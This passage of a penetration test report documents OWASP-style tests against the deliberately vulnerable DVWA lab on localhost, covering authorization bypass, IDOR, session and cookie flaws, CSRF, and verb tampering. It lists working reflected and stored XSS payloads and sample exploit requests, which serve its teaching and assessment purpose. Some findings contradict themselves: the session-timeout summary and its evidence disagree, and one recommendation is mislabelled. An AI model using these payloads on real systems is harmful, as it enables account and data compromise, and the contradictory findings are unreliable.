### 4.34.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.34.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.35 Bypassing Authorization Schema (OTG-AUTHZ-002) (http://localhost/dvwa (127.0.0.1))

Score:	8.1 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

### 4.35.1 Service Enumeration

**Target:** http://localhost/dvwa

Service	Port	Version	Notes
HTTP	80	Apache/2.4.x	Running DVWA (Damn Vulnerable Web App)
PHP	N/A	PHP/5.6.x	Backend language for DVWA

### Application Details

- **Application:** DVWA (Damn Vulnerable Web Application)
- **Security Level:** Low (default)
- **User Accounts:**
  - Regular User: gordonb:abc123
  - Admin User: admin:password
- **Vulnerable Module:** /vulnerabilities/authbypass/ (Authorization Bypass)
- **Authentication Required:** Yes

```
[*] Starting DVWA Authorization Bypass Test
[*] Target: http://localhost/dvwa/vulnerabilities/authbypass/
[*] Testing authorization bypass vulnerability...
[+] Successfully logged in as regular user (gordonb)
[+] Security level set to low
[*] Accessing auth bypass page without userid parameter...
```

### 4.35.2 Initial Access

The Authorization Bypass module in DVWA fails to implement proper access controls, allowing regular users to view information that should be restricted to administrators.

### Exploitation Steps:

1. **Authentication:** Logged into DVWA as regular user (gordonb/abc123)
2. **Security Level:** Set to "Low" to match test conditions
3. **Direct Access:** Navigated directly to /vulnerabilities/authbypass/ without any parameters

4. **Information Disclosure:** Application returned a list of all users, including the admin account

## Proof of Concept:

```
http
GET /dvwa/vulnerabilities/authbypass/ HTTP/1.1
Host: localhost
Cookie: [Regular User Session Cookie]
Authorization: Regular user session (gordonb/abc123)
```

```
[*] Response status: 200
[*] Response length: 4343 characters
[*] Has user data: True
[*] Can see admin data: True
[!] VULNERABLE: Regular user can see all users including admin data!
[!] This demonstrates broken access control!
[+] HTML report generated: OSCP_Report_DVWA_AuthBypass_Localhost_20250805_163251.html

[*] Test Summary:
[!] CRITICAL: Authorization bypass vulnerability confirmed!
[!] Regular user can access unauthorized user data!
[*] Report saved to: OSCP_Report_DVWA_AuthBypass_Localhost_20250805_163251.html
```

## Result:

- Status Code: 200
- Response Length: 4343 characters
- Shows User List: Yes
- Can See Admin Data: Yes
- Vulnerable: YES
- Impact: Successfully retrieved list of all users including admin accounts, demonstrating broken access control.

## Recommendations

1. **Implement Role-Based Access Control:** Ensure users can only access data appropriate to their role
2. **Server-Side Validation:** Always validate user permissions on the server side
3. **Principle of Least Privilege:** Grant users only the minimum required access
4. **Regular Security Testing:** Conduct periodic access control testing

### 4.35.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.35.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.36 Privilege Escalation (OTG-AUTHZ-003) (http://localhost/dvwa (127.0.0.1))

Score:	8.8 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

### 4.36.1 Service Enumeration

**Target:** http://localhost/dvwa

Service	Port	Version	Notes
HTTP	80	Apache/2.4.x	Running DVWA (Damn Vulnerable Web App)
PHP	N/A	PHP/5.6.x	Backend language for DVWA

### 4.36.2 Initial Access

#### Application Details

- **Application:** DVWA (Damn Vulnerable Web Application)
- **Security Level:** Low (default)
- **User Accounts:**
  - Regular User: gordonb:abc123
  - Admin User: admin:password
- **Authentication Required:** Yes for all sensitive endpoints
- **Educational Note:** DVWA does not implement traditional user roles - all authenticated users have the same effective privileges by design

```
[*] Starting DVWA Access Control Assessment
[*] Target: http://localhost/dvwa
[*] Note: DVWA does not implement traditional user roles - all authenticated users have the same privileges
[+] Successfully logged in as regular user (gordonb)
[+] Security level set to low
```

### 4.36.3 Privilege Escalation

The application fails to properly restrict access to sensitive functionality, allowing regular users to perform actions and access information that should be restricted to higher-privileged users or administrators.

#### Exploitation Methodology:

1. **Authentication:** Logged into DVWA as regular user (gordonb/abc123)
2. **Security Level:** Set to "Low" to match test conditions



3. **Sensitive Endpoint Access:** Directly accessed truly sensitive endpoints that should be restricted
4. **Information Gathering:** Retrieved system-level information and accessed critical functionality

## Test Results Summary:

Test Type	Target	Status Code	Vulnerable	Description
Database Reset Access	/setup.php	200	YES	Access to database initialization and reset functionality
User Impersonation	/vulnerabilities/authbypass/?userid=1	200	YES	Attempting to access admin user data
Sensitive File Access	Config File	200	NO	/config/config.inc.php
Sensitive File Access	PHP Info	200	YES	/phpinfo.php
Form Analysis	/index.php	200	NO	Hidden fields: 0
Form Analysis	/security.php	200	NO	Hidden fields: 0
Form Analysis	/vulnerabilities/sqli/	200	NO	Hidden fields: 0

```
[*] Testing access to database reset functionality...
[!] VULNERABLE: Regular user can access database reset functionality!
[*] Testing user impersonation...
[!] VULNERABLE: Can access admin user data through impersonation!
[*] Testing access to sensitive configuration...
[*] Testing access to: Config File
[?] Ambiguous access to Config File
[*] Testing access to: PHP Info
[!] VULNERABLE: Can access PHP Info!
[*] Testing form-based privilege escalation...
[*] Testing forms on: /index.php
[*] Found 0 hidden fields, admin indicators: False
[*] Testing forms on: /security.php
[*] Found 0 hidden fields, admin indicators: False
[*] Testing forms on: /vulnerabilities/sqli/
[*] Found 0 hidden fields, admin indicators: False
[+] HTML report generated: OSCP_Report_DWVA_PrivilegeEscalation_Localhost_20250805_164443.html

[*] Test Summary:
[*] Tests performed: 7
[*] Meaningful access control issues found: 3
[*] Report saved to: OSCP_Report_DWVA_PrivilegeEscalation_Localhost_20250805_164443.html
[*] Note: DWVA's design makes vulnerability modules accessible to all authenticated users by design
[!] CRITICAL: Meaningful access control issues confirmed!
```

## Identified Vulnerabilities

- **OTG-AUTHZ-003:** Privilege Escalation / Access Control Issues

- **Risk Level:** High
- **Affected Endpoints:**
  - `/setup.php` (Database reset)
  - `/vulnerabilities/authbypass/` (User impersonation)
  - `/phpinfo.php` (System information)
- **Attack Vector:** Direct access to sensitive endpoints

## Recommendations

1. **Implement Proper Access Controls for Sensitive Functions**
2. **Enforce Data Isolation Between Users**
3. **Protect Access to Configuration Files**
4. **Conduct Regular Access Control Testing**

### 4.36.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.37 Insecure Direct Object References (OTG-AUTHZ-004) (http://localhost/dvwa (127.0.0.1))

Score:	6.5 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

### 4.37.1 Service Enumeration

**Target:** http://localhost/dvwa

Service	Port	Version	Notes
HTTP	80	Apache/2.4.x	Running DVWA (Damn Vulnerable Web App)
PHP	N/A	PHP/5.6.x	Backend language for DVWA

### Application Details

- **Application:** DVWA (Damn Vulnerable Web Application)
- **Security Level:** Low (default)
- **User Accounts:**
  - Regular User: gordonb:abc123
  - Admin User: admin:password
- **Vulnerable Module:** /vulnerabilities/authbypass/ (Authorization Bypass)
- **Authentication Required:** Yes
- **Parameter Vulnerable:** userid

```
[*] Starting DVWA Insecure Direct Object Reference (IDOR) Test
[*] Target: http://localhost/dvwa/vulnerabilities/authbypass/
[*] Note: Testing IDOR vulnerability in DVWA's Authorization Bypass section
[*] Testing Insecure Direct Object Reference (IDOR) vulnerability...
[+] Successfully logged in as regular user (gordonb)
[+] Security level set to low
```

### 4.37.2 Initial Access

The Authorization Bypass module in DVWA uses direct object references to access user data without proper authorization checks, allowing attackers to manipulate the `userid` parameter to access unauthorized user information.

#### Exploitation Methodology:

1. **Authentication:** Logged into DVWA as regular user (gordonb/abc123)
2. **Security Level:** Set to "Low" to match test conditions
3. **Parameter Manipulation:** Systematically changed the `userid` parameter from 1 to 5

4. **User Enumeration:** Tested both valid and non-existent user IDs
5. **Data Collection:** Retrieved user information for all enumerated accounts

## IDOR Vulnerability Pattern:

```
http
GET /dvwa/vulnerabilities/authbypass/?userid=[USER_ID] HTTP/1.1
Host: localhost
Cookie: [Session Cookie]
```

- Issue: No server-side authorization check validates if the current user can access the requested user data
- Exploitation: Direct manipulation of userid parameter to access any user's information
- Response: 200 OK with user data for any valid user ID

## Test Results Summary

User ID	Description	Status Code	Has User Data	Vulnerable
1	Admin user	200	Yes	YES
2	Gordon user (own account)	200	Yes	YES
3	Hack user	200	Yes	YES
4	Pablo user	200	Yes	YES
5	Bob user	200	Yes	YES
999	Non-existent user	200	Yes	YES

```
[*] Testing user ID 1: Admin user
[!] VULNERABLE: Unauthorized access to user ID 1
[*] Testing user ID 2: Gordon user (own account)
[!] VULNERABLE: Unauthorized access to user ID 2
[*] Testing user ID 3: Hack user
[!] VULNERABLE: Unauthorized access to user ID 3
[*] Testing user ID 4: Pablo user
[!] VULNERABLE: Unauthorized access to user ID 4
[*] Testing user ID 5: Bob user
[!] VULNERABLE: Unauthorized access to user ID 5
[*] Testing user ID 999: Non-existent user
[!] VULNERABLE: Unauthorized access to user ID 999
[*] Testing user enumeration capabilities...
[+] HTML report generated: OSCP_Report_DVWA_IDOR_Localhost_20250805_183515.html

[*] Test Summary:
[*] IDOR tests performed: 6
[*] IDOR vulnerabilities found: 6
[*] Report saved to: OSCP_Report_DVWA_IDOR_Localhost_20250805_183515.html
[*] Note: This test demonstrates the legitimate IDOR vulnerability in DVWA
[!] CRITICAL: Insecure Direct Object Reference (IDOR) vulnerabilities confirmed!
[!] Users can access unauthorized data through parameter manipulation!
```

## Proof of Concept - IDOR Exploitation

The following IDOR exploitation attempts were successful:

### IDOR Exploit 1

```
Attack: Insecure Direct Object Reference (IDOR)
Target: Admin user
Request: GET /dvwa/vulnerabilities/authbypass/?userid=1 HTTP/1.1
Authentication: Regular user session (gordonb/abc123)
Status Code: 200
Result: Successfully accessed unauthorized user data
Vulnerability: Insecure Direct Object Reference (IDOR)
```

### IDOR Exploit 2

```
Attack: Insecure Direct Object Reference (IDOR)
Target: Gordon user (own account)
Request: GET /dvwa/vulnerabilities/authbypass/?userid=2 HTTP/1.1
Authentication: Regular user session (gordonb/abc123)
Status Code: 200
Result: Successfully accessed unauthorized user data
Vulnerability: Insecure Direct Object Reference (IDOR)
```

### IDOR Exploit 3

```
Attack: Insecure Direct Object Reference (IDOR)
Target: Hack user
Request: GET /dvwa/vulnerabilities/authbypass/?userid=3 HTTP/1.1
Authentication: Regular user session (gordonb/abc123)
Status Code: 200
Result: Successfully accessed unauthorized user data
Vulnerability: Insecure Direct Object Reference (IDOR)
```

## Recommendations

1. **Implement Server-Side Authorization:** Validate that users can only access data they are authorized to view
2. **Use Indirect Object References:** Map user-friendly identifiers to internal system identifiers
3. **Apply Principle of Least Privilege:** Grant users only the minimum required access
4. **Input Validation:** Validate and sanitize all user-supplied parameters
5. **Regular Security Testing:** Conduct periodic IDOR vulnerability assessment

### 4.37.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.37.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.38 Bypassing Session Management Schema (OTG-SESS-001) (<http://localhost/dvwa> (127.0.0.1))

Score:	4.3 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

### 4.38.1 Service Enumeration

Session Management vulnerabilities were tested on the Damn Vulnerable Web Application (DVWA) hosted at <http://localhost/dvwa>.

### Summary of Findings

Session fixation and session reuse after logout were not exploitable (NOT VULNERABLE), but session IDs were not always regenerated after login (VULNERABLE to session fixation via ID reuse).

### 4.38.2 Initial Access

## Bypassing Session Management Schema (OTG-SESS-001)

### Vulnerability Explanation

This test checks if the application allows bypassing the session management schema, including session fixation, session reuse after logout, and session regeneration.

### Vulnerability Fix

- Regenerate session IDs after authentication
- Invalidate session tokens on logout
- Implement secure session management as per OWASP

### Proof of Concept (PoC) Code or Exploitation Steps

- Python script: `Bypassing Session Management Schema Code.py`
- Functions used: `test_session_fixation`, `test_session_reuse_after_logout`, `test_session_regeneration`

### Evidence

- Session Fixation Test: NOT VULNERABLE (Login failed)
  - Session Reuse After Logout: NOT VULNERABLE (Session correctly invalidated)
  - Session Regeneration Test: VULNERABLE (Session ID reused)
-

### **4.38.3 Privilege Escalation**

Privilege escalation was not directly applicable in these session management tests, as the focus was on session handling rather than privilege boundaries. No privilege escalation vulnerabilities were identified in the tested scenarios.

### **4.38.4 Post-Exploitation**

Post exploitation is not applicable for these session management tests, as the findings relate to session handling and do not provide direct access or persistence mechanisms beyond session hijacking or manipulation.

## 4.39 Cookies Attributes (OTG-SESS-002) (http://localhost/dvwa (127.0.0.1))

Score:	5.4 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

### 4.39.1 Service Enumeration

#### Summary of Findings

Both `security` and `PHPSESSID` cookies lacked the `HttpOnly` and `SameSite` attributes, increasing the risk of XSS and CSRF. Risk Rating: HIGH.

### 4.39.2 Initial Access

#### Cookies Attributes (OTG-SESS-002)

##### Vulnerability Explanation

This test analyzes the security attributes of cookies set by the application, such as `Secure`, `HttpOnly`, `SameSite`, `Domain`, `Path`, and `Expires/Max-Age`.

##### Vulnerability Fix

- Set `HttpOnly` and `Secure` flags on all session cookies
- Set `SameSite` attribute to 'Strict' or 'Lax'
- Use appropriate `Domain` and `Path` attributes

##### Proof of Concept (PoC) Code or Exploitation Steps

- Python script: `Cookies Attributes Code.py`
- Function used: `analyze_cookies`

##### Evidence

- Both `security` and `PHPSESSID` cookies lacked `HttpOnly` and `SameSite` attributes (High/Medium risk)
  - Risk Rating: HIGH
- 

### 4.39.3 Privilege Escalation

Privilege escalation was not directly applicable in these session management tests, as the focus was on session handling rather than privilege boundaries. No privilege escalation vulnerabilities were identified in the tested scenarios.



#### **4.39.4 Post-Exploitation**

Post exploitation is not applicable for these session management tests, as the findings relate to session handling and do not provide direct access or persistence mechanisms beyond session hijacking or manipulation.

## 4.40 Session Fixation (OTG-SESS-003) (<http://localhost/dvwa> (127.0.0.1))

Score:	5.0 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N

### 4.40.1 Service Enumeration

Session Management vulnerabilities were tested on the Damn Vulnerable Web Application (DVWA) hosted at <http://localhost/dvwa>.

### Summary of Findings

The application was not vulnerable to classic session fixation (login with fixed session ID failed), but session IDs were not regenerated on re-login (VULNERABLE to session fixation via ID reuse). Risk Rating: HIGH.

### 4.40.2 Initial Access

## Session Fixation (OTG-SESS-003)

### Vulnerability Explanation

This test checks if the application is vulnerable to session fixation by pre-setting a known session ID and authenticating.

### Vulnerability Fix

- Regenerate session IDs after authentication
- Destroy old session data

### Proof of Concept (PoC) Code or Exploitation Steps

- Python script: `Session Fixation Code.py`
- Function used: `test_session_fixation`

### Evidence

- Main Test: NOT VULNERABLE (Login failed with fixed session)
  - Additional: Session not regenerated on re-login (VULNERABLE)
  - Risk Rating: HIGH
-

### **4.40.3 Privilege Escalation**

Privilege escalation was not directly applicable in these session management tests, as the focus was on session handling rather than privilege boundaries. No privilege escalation vulnerabilities were identified in the tested scenarios.

### **4.40.4 Post-Exploitation**

Post exploitation is not applicable for these session management tests, as the findings relate to session handling and do not provide direct access or persistence mechanisms beyond session hijacking or manipulation.

## 4.41 Exposed Session Variables (OTG-SESS-004) (<http://localhost/dvwa> (127.0.0.1))

Score:	6.4 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

### 4.41.1 Service Enumeration

Session Management vulnerabilities were tested on the Damn Vulnerable Web Application (DVWA) hosted at <http://localhost/dvwa>.

### Summary of Findings

Numerous session-related keywords were found in HTML comments, hidden fields, and meta tags, exposing sensitive information to the client side. Risk Rating: HIGH.

### 4.41.2 Initial Access

## Exposed Session Variables (OTG-SESS-004)

### Vulnerability Explanation

This test checks for session-related variables exposed in client-side code, URLs, hidden fields, JavaScript, meta tags, and comments.

### Vulnerability Fix

- Avoid passing session data in URLs
- Do not expose tokens in JS variables or hidden fields
- Remove session data from comments and meta tags

### Proof of Concept (PoC) Code or Exploitation Steps

- Python script: `Exposed Session Variables Code.py`
- Functions used: `search_html_for_session_data`, `search_response_for_session_data`, `check_url_for_session_data`

### Evidence

- Numerous session-related keywords found in HTML comments, hidden fields, and meta tags (High/Medium risk)
  - Risk Rating: HIGH
-

### **4.41.3 Privilege Escalation**

Privilege escalation was not directly applicable in these session management tests, as the focus was on session handling rather than privilege boundaries. No privilege escalation vulnerabilities were identified in the tested scenarios.

### **4.41.4 Post-Exploitation**

Post exploitation is not applicable for these session management tests, as the findings relate to session handling and do not provide direct access or persistence mechanisms beyond session hijacking or manipulation.

## 4.42 Cross Site Request Forgery (OTG-SESS-005) (<http://localhost/dvwa> (127.0.0.1))

Score:	7.7 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N

### 4.42.1 Service Enumeration

Session Management vulnerabilities were tested on the Damn Vulnerable Web Application (DVWA) hosted at <http://localhost/dvwa>.

### Summary of Findings

Security level change and password change forms were vulnerable at low/medium security levels (no CSRF token required). Risk Rating: HIGH.

### 4.42.2 Initial Access

#### CSRF (OTG-SESS-005)

#### Vulnerability Explanation

This test checks for the presence and effectiveness of anti-CSRF tokens in state-changing forms.

#### Vulnerability Fix

- Implement unique, unpredictable CSRF tokens for all state-changing forms
- Validate CSRF tokens server-side
- Use SameSite cookie attribute

#### Proof of Concept (PoC) Code or Exploitation Steps

- Python script: `CSRF Code.py`
- Functions used: `test_all_security_levels`, `test_security_level_change`, `test_password_change_csrf`

#### Evidence

- Security level change and password change forms were vulnerable at low/medium security levels (no CSRF token required)
  - Risk Rating: HIGH
-

### **4.42.3 Privilege Escalation**

Privilege escalation was not directly applicable in these session management tests, as the focus was on session handling rather than privilege boundaries. No privilege escalation vulnerabilities were identified in the tested scenarios.

### **4.42.4 Post-Exploitation**

Post exploitation is not applicable for these session management tests, as the findings relate to session handling and do not provide direct access or persistence mechanisms beyond session hijacking or manipulation.

## 4.43 Logout Functionality (OTG-SESS-006) (<http://localhost/dvwa> (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.43.1 Service Enumeration

Session Management vulnerabilities were tested on the Damn Vulnerable Web Application (DVWA) hosted at <http://localhost/dvwa>.

### Summary of Findings

All tested security levels: NOT VULNERABLE. Session properly invalidated and no session reuse was possible. Risk Rating: LOW.

### 4.43.2 Initial Access

## Logout Functionality (OTG-SESS-006)

### Vulnerability Explanation

This test checks if logout properly invalidates the session and prevents session reuse.

### Vulnerability Fix

- Properly invalidate sessions on the server side during logout
- Destroy all session data and redirect to login

### Proof of Concept (PoC) Code or Exploitation Steps

- Python script: `Logout_Functionality_Code.py`
- Functions used: `test_logout_functionality`, `test_logout_at_security_level`, `test_cached_page_access`

### Evidence

- All tested security levels: NOT VULNERABLE (Session properly invalidated, no session reuse)
  - Risk Rating: LOW
-



### **4.43.3 Privilege Escalation**

Privilege escalation was not directly applicable in these session management tests, as the focus was on session handling rather than privilege boundaries. No privilege escalation vulnerabilities were identified in the tested scenarios.

### **4.43.4 Post-Exploitation**

Post exploitation is not applicable for these session management tests, as the findings relate to session handling and do not provide direct access or persistence mechanisms beyond session hijacking or manipulation.

## 4.44 Session Timeout (OTG-SESS-007) (<http://localhost/dvwa> (127.0.0.1))

Score:	5.0 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N

### 4.44.1 Service Enumeration

Session Management vulnerabilities were tested on the Damn Vulnerable Web Application (DVWA) hosted at <http://localhost/dvwa>.

### Summary of Findings

Sessions did not expire after 30, 60, or 120 seconds at any security level. Sessions remained active and authenticated, and users were not redirected to the login page after inactivity. Session reuse after timeout was not possible, but the lack of timeout is a significant risk. Risk Rating: MEDIUM.

### 4.44.2 Initial Access

## Session Timeout (OTG-SESS-007)

### Vulnerability Explanation

This test checks if sessions expire after a period of inactivity and cannot be reused.

### Vulnerability Fix

- Implement appropriate session timeout periods (5-30 minutes)
- Properly invalidate sessions on the server side

### Proof of Concept (PoC) Code or Exploitation Steps

- Python script: `Session Timeout Code.py`
- Functions used: `test_session_timeout`, `test_session_timeout_at_security_level`, `test_session_reuse_after_timeout`

### Evidence

- Sessions expired as expected at all tested intervals
  - No session reuse after timeout
  - Risk Rating: LOW
-

### **4.44.3 Privilege Escalation**

Privilege escalation was not directly applicable in these session management tests, as the focus was on session handling rather than privilege boundaries. No privilege escalation vulnerabilities were identified in the tested scenarios.

### **4.44.4 Post-Exploitation**

Post exploitation is not applicable for these session management tests, as the findings relate to session handling and do not provide direct access or persistence mechanisms beyond session hijacking or manipulation.

## 4.45 Session Puzzling (OTG-SESS-008) (DVWA does not have complex multi-session or cross-application function)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.45.1 Service Enumeration

DVWA does not have complex multi-session or cross-application function.

### 4.45.2 Initial Access

DVWA does not have complex multi-session or cross-application function.

### 4.45.3 Privilege Escalation

DVWA does not have complex multi-session or cross-application function.

### 4.45.4 Post-Exploitation

DVWA does not have complex multi-session or cross-application function.

## 4.46 Reflected Cross Site Scripting (OTG-INPVAL-001) (http://localhost/dvwa/vulnerabilities/xss\_r (127.0.0.1))

Score:	6.4 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

### 4.46.1 Service Enumeration

Field	Value
Target IP/Host	localhost
Service	HTTP (Apache via XAMPP)
Port	80 (default)
Application	Damn Vulnerable Web App (DVWA) v1.9
Tested URL	http://localhost/dvwa/vulnerabilities/xss_r/
Authentication Required	Yes (tested post-login as admin)
Security Level	Low

The DVWA application exposes several vulnerable modules, with the **Reflected XSS** functionality located at `/vulnerabilities/xss_r/`. The application uses standard HTML forms with minimal input filtering at the Low security level.

```
[*] Logging into DVWA...  
[+] Login successful  
[*] Setting security level to Low...  
[+] Security level set to Low
```

### 4.46.2 Initial Access

#### Vulnerability Details

- **Type:** Reflected Cross-Site Scripting
- **Location:** Name input field in `/vulnerabilities/xss_r/`
- **Exploitation Method:** GET-based input reflection
- **Security Level:** Low (no input sanitization or output encoding)

The application directly embeds unsanitized user input from the `name` parameter into the HTML response, allowing arbitrary JavaScript execution when the page is loaded.

## Test Results

Payload	Reflected	Executable	Evidence Snippet
<code>&lt;script&gt;alert('XSS')&lt;/script&gt;</code>	Yes	Yes	Hello <code>&lt;script&gt;alert('XSS')&lt;/script&gt;</code>
<code>&lt;img src="x" onerror="alert('XSS')"&gt;</code>	No	Yes	Hello <code>&lt;img src="x" onerror="alert('XSS')"&gt;</code>
<code>&lt;svg/onload=alert('XSS')&gt;</code>	No	Yes	Hello <code>&lt;svg/onload=alert('XSS')&gt;</code>
<code>%3Cscript%3Ealert('XSS')%3C/script%3E</code>	Yes	No	Hello <code>%3Cscript%3Ealert('XSS')%3C/script%3E</code>
<code>&lt;a href="javascript:alert('XSS')"&gt;click me&lt;/a&gt;</code>	Yes	Yes	Hello click me

**Note:** Some payloads like `<img>` and `<svg>` are not "reflected" visibly but still execute due to event handler injection. URL-encoded scripts are reflected but not decoded/executed.

```
[*] Starting XSS tests...
[*] Testing payload: <script>alert('XSS')</script>
[*] Testing payload: 
[*] Testing payload: <svg/onload=alert('XSS')>
[*] Testing payload: %3Cscript%3Ealert('XSS')%3C/script%3E
[*] Testing payload: <a href="javascript:alert('XSS')">click me</a>
[+] All tests completed
[*] Generating HTML report...
[+] Report generated: xss_reflected_low_report.html
```

## Recommendations

1. **Input Validation:** Validate all user inputs against a whitelist of acceptable values
2. **Output Encoding:** Map user-friendly identifiers to internal system identifiers
3. **Content Security Policy (CSP):** Implement a strong CSP to restrict the sources from which scripts can be loaded
4. **Use Secure Frameworks:** Leverage frameworks that automatically escape output (e.g., React, Angular)
5. **Regular Security Testing:** Conduct regular code reviews and penetration testing

### 4.46.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.46.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.47 Stored Cross Site Scripting (OTG-INPVAL-002) ([http://localhost/dvwa/vulnerabilities/xss\\_s](http://localhost/dvwa/vulnerabilities/xss_s) (127.0.0.1))

Score:	6.4 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

### 4.47.1 Service Enumeration

**Target:** `http://localhost/dvwa`

**Application:** Damn Vulnerable Web Application (DVWA)

**Tested Module:** Stored XSS (Guestbook) - `/vulnerabilities/xss_s/`

**Technology Stack:**

- PHP
- Apache
- MySQL
- HTML/JavaScript

**Access Method:**

- Authentication required: Yes (admin:password)
- Security Level: Low (default DVWA setting)

**Vulnerable Components:**

- Input fields: `Name` and `Message` in the Guestbook form
- HTTP Method: POST
- Stored Data: Guestbook entries stored in backend and rendered on page load

**Note:** No additional services were enumerated beyond the web application itself, as this test was scoped specifically to the Stored XSS vulnerability in DVWA.

### 4.47.2 Initial Access

**Vector:** Stored Cross-Site Scripting (XSS)

**Attack Surface:** Guestbook submission form

**Authentication Required:** Yes (valid DVWA user account)

### Exploitation Process:

1. Logged into DVWA with credentials: `admin:password`
2. Navigated to the Stored XSS module: `http://localhost/dvwa/vulnerabilities/xss_s/`
3. Submitted malicious payloads through the Guestbook form:
  - Name: `Tester`
  - Message: `<script>alert("StoredXSS")</script>`
4. Submitted the form, causing the payload to be stored on the server.

5. Upon reloading the page, the script executed automatically, confirming the vulnerability.

## Confirmed Vulnerable Payloads:

The following payloads were tested against the **DVWA Guestbook**:

Payload Name	Test Result	Sample Payload
Basic Script Tag	VULNERABLE	<code>&lt;script&gt;alert("StoredXSS")&lt;/script&gt;</code>
Image OnError	VULNERABLE	<code>&lt;img src="x" onerror="alert('XSS')"&gt;</code>
SVG Payload	VULNERABLE	<code>&lt;svg/onload=alert("XSS")&gt;</code>
Event Handler	VULNERABLE	<code>&lt;div onclick="alert('XSS')"&gt;Click me&lt;/div&gt;</code>

All payloads were successfully stored and executed upon page load, confirming full Stored XSS exploitation.

```
[*] Starting Stored XSS tests...
[*] Testing payload: Basic Script Tag
[*] Getting XSS page...
[*] Submitting payload: <script>alert("StoredXSS")</script>
[*] Verifying payload storage...
[+] VULNERABLE: Basic Script Tag
[*] Testing payload: Image OnError
[*] Getting XSS page...
[*] Submitting payload: 
[*] Verifying payload storage...
[+] VULNERABLE: Image OnError
[*] Testing payload: SVG Payload
```

## Recommendations

1. **Input Validation:** Validate all user inputs against a whitelist of acceptable values
2. **Output Encoding:** Map user-friendly identifiers to internal system identifiers
3. **Content Security Policy (CSP):** Implement a strong CSP to restrict the sources from which scripts can be loaded
4. **Use Secure Frameworks:** Leverage frameworks that automatically escape output (e.g., React, Angular)
5. **Regular Security Testing:** Conduct regular code reviews and penetration testing

### 4.47.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.47.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.



## 4.48 HTTP Verb Tampering (OTG-INPVAL-003) (http://localhost/dvwa (127.0.0.1))

Score:	8.5 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:N

### 4.48.1 Service Enumeration

**Target:** http://localhost/dvwa

**Application:** Damn Vulnerable Web Application (DVWA)

**Technology Stack:**

- PHP
- Apache
- MySQL
- HTML/JavaScript

**Tested Modules & Endpoints:**

- Login: /dvwa/login.php
- CAPTCHA: /dvwa/vulnerabilities/captcha/
- CSP: /dvwa/vulnerabilities/csp/
- Command Execution: /dvwa/vulnerabilities/exec/
- SQL Injection: /dvwa/vulnerabilities/sqli/
- Blind SQL Injection: /dvwa/vulnerabilities/sqli\_blind/
- File Upload: /dvwa/vulnerabilities/upload/
- Weak ID: /dvwa/vulnerabilities/weak\_id/
- Reflected XSS: /dvwa/vulnerabilities/xss\_r/
- Stored XSS: /dvwa/vulnerabilities/xss\_s/

**Authentication Required:** Yes (admin:password)

**Security Level:** Low

**HTTP Methods Tested:**

GET, POST, PUT, DELETE, OPTIONS, HEAD, PATCH, TRACE

**Note:** The web server responds to nearly all HTTP methods, indicating poor verb filtering and potential exposure of unintended functionality.

### 4.48.2 Initial Access

**Vector:** HTTP Verb Tampering

**Attack Surface:** Multiple form-processing endpoints

**Authentication Required:** Yes (valid DVWA user account)

## Exploitation Process:

1. Authenticated to DVWA with credentials: `admin:password`
2. For each endpoint, identified the intended HTTP method (e.g., `POST` for form submission)
3. Sent requests using **non-standard HTTP verbs** (e.g., `DELETE`, `PUT`, `PATCH`, `TRACE`) to the same endpoints
4. Analyzed responses for successful status codes (`200 OK`) and content delivery

## Key Finding:

All endpoints that were designed to accept `POST` or `GET` also accepted:

- `DELETE`
- `PUT`
- `PATCH`
- `TRACE`
- `OPTIONS`

```
[*] Discovering form endpoints...
[*] Checking module: vulnerabilities/exec/
[+] Found endpoint: http://localhost/dvwa/vulnerabilities/exec/ (POST)
[*] Checking module: vulnerabilities/xss_r/
[+] Found endpoint: http://localhost/dvwa/vulnerabilities/xss_r/ (GET)
[*] Checking module: vulnerabilities/xss_s/
[+] Found endpoint: http://localhost/dvwa/vulnerabilities/xss_s/ (POST)
```

## Example Vulnerable Request:

```
http
DELETE /dvwa/login.php HTTP/1.1
Host: localhost
```

Response: 200 OK with full login page content returned.

This behavior indicates that the backend does not enforce HTTP method restrictions, allowing attackers to potentially bypass security controls that rely on method validation (e.g., WAF rules, CSRF protections).

## Confirmed Vulnerable Endpoints (Partial List):

Module	Endpoint	Original Method	Allowed Tampered Methods
Login	/login.php	POST	DELETE, GET, OPTIONS, PATCH, PUT, TRACE
CAPTCHA	/vulnerabilities/captcha/	POST	DELETE, GET, OPTIONS, PATCH, PUT, TRACE
Command Exec	/vulnerabilities/exec/	POST	DELETE, GET, OPTIONS, PATCH, PUT, TRACE

